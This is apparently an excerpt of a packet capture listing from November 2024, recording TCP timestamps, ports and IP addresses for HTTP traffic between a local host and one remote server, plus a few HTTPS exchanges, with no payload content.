Nov 16, 2024 23:36:39.934905052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.934919119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.934953928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.934958935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.934998035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935017109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935046911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935086966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935096979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935132980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935165882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935178041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935200930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935205936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935235023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935245037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935267925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935272932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935301065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935307980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935343027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935369015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935400963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935414076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935435057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935447931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935471058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935484886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935513020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935520887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935554028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935558081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935587883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935595036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935620070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935642958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935650110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935669899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935702085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935719013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935736895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935769081 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935777903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935813904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935868979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935899019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.935920954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935946941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.935956955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936002970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936008930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936041117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936067104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936080933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936094999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936113119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936126947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936157942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936165094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936197996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936242104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936249971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936301947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936335087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936342955 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936374903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936408997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936422110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936439991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936449051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936474085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936505079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936506033 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936527967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936538935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936539888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936572075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936580896 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936606884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936618090 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936640024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936647892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936675072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936682940 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936707020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936717987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936739922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936752081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936772108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936784983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936805964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936811924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936837912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936847925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936873913 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936881065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.936955929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936990023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.936996937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937021017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937055111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937067032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937088966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937098980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937120914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937133074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937155008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937163115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937185049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937228918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937244892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937294960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937298059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937340021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937346935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937388897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937397003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937423944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937447071 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937465906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937478065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937526941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937530041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937566996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937578917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937612057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937623978 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937647104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937705994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937741041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937756062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937768936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937791109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937822104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937855959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937866926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937897921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.937905073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937956095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.937990904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938011885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938060045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938110113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938113928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938143015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938158989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938175917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938185930 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938206911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938216925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938237906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938272953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938292980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938307047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938314915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938339949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938373089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938386917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938405991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938436031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938450098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938471079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938477039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938503981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938508987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938536882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938546896 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938570976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938576937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938604116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938611984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938640118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938644886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938672066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938680887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938704967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938715935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938738108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938771009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938782930 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938802958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938807011 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938836098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938868046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938878059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938900948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938910961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.938932896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938967943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.938971996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939013958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939024925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939043999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939066887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939107895 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939124107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939171076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939205885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939215899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939239025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939273119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939277887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939306021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939321041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939358950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939392090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939400911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939426899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939433098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939457893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939461946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939491987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939498901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939521074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939538956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939542055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939555883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939562082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939572096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939575911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939587116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939589977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939600945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939609051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939616919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939619064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939630985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939640999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939641953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939650059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939652920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939668894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939680099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939682007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939682007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939691067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939698935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939701080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939713001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939716101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939723969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939734936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939743996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939744949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939755917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939765930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939774990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939779997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939785004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.939790010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939801931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.939825058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.981897116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.981950998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.981954098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.981987953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.981997967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.982127905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.011250973 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.011328936 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.011372089 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.011403084 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.011420965 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.011434078 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.011456966 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.011464119 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.012778044 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.012794971 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.012803078 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.013098955 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.013176918 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:40.013226032 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:40.038456917 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:40.038480043 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:40.038599014 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:40.038654089 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:40.040874004 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:40.040941954 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:40.041120052 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:40.041186094 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:40.041186094 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:40.050580025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050636053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050646067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050683022 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050690889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050741911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050781012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050793886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050811052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050823927 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050848961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050852060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050889015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.050900936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050932884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050967932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.050976038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051012993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051057100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051079988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051091909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051115036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051136971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051145077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051196098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051229954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051239967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051259041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051270008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051332951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051341057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051377058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051394939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051440001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051445007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051496029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051512957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051529884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051538944 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051584005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051635027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051634073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051668882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051677942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051718950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051734924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051753044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051762104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051786900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051789999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051820993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051824093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051852942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051867008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051886082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051907063 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051920891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051920891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.051954031 CET	80	49824	185.215.113.206	192.168.2.5
